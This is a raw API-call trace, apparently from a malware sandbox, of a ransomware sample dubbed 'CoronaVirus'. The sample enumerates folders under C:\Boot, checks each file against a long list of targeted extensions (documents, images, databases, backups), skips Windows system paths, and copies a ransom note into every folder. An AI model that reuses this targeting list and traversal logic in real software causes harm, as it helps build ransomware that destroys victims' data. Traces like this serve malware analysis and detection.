	[0083.289] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.289] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.290] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.290] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.290] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.291] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.291] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.292] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.292] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.293] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.293] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.293] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.293] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.293] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.293] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.293] FindClose (in: hFindFile=0x6007d0 | out: hFindFile=0x6007d0) returned 1
	[0083.293] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0083.293] wcsncmp (_String1="j", _String2=".", _MaxCount=0x1) returned 60
	[0083.293] wcsncmp (_String1="ja", _String2="..", _MaxCount=0x2) returned 60
	[0083.293] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP") returned 13
	[0083.293] wcsncmp (_String1="C:\\Boot\\j", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.293] wcsstr (_Str="C:\\Boot\\ja-JP", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.293] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\ja-JP\\CoronaVirus.txt" (normalized: "c:\\boot\\ja-jp\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.298] _alloca_probe () returned 0x4036d0
	[0083.298] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x316583c*="ja-JP") returned 0xd
	[0083.298] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb01ef15, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.298] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb01ef15, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.298] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.298] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.298] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.298] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.298] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.298] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.298] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.298] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.298] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.299] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.299] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb01ef15, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb01ef15, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.299] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.299] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.299] malloc (_Size=0x1000) returned 0x2f3d5f0
	[0083.299] _swprintf (in: param_1=0x2f3d5f0, param_2="%s\\%s" | out: param_1="C:\\Boot\\ja-JP\\CoronaVirus.txt") returned 29
	[0083.300] wcsstr (_Str="C:\\Boot\\ja-JP\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.300] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.300] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.300] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.300] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0083.300] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0083.300] wcsncmp (_String1="k", _String2=".", _MaxCount=0x1) returned 61
	[0083.300] wcsncmp (_String1="ko", _String2="..", _MaxCount=0x2) returned 61
	[0083.300] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\ko-KR") returned 13
	[0083.300] wcsncmp (_String1="C:\\Boot\\k", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.300] wcsstr (_Str="C:\\Boot\\ko-KR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.300] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\ko-KR\\CoronaVirus.txt" (normalized: "c:\\boot\\ko-kr\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.303] _alloca_probe () returned 0x4036d0
	[0083.303] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x316583c*="ko-KR") returned 0xd
	[0083.303] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb01ef15, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.303] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.303] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb01ef15, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.303] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.303] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.303] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.303] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.303] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.303] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.304] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.304] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.305] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.305] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
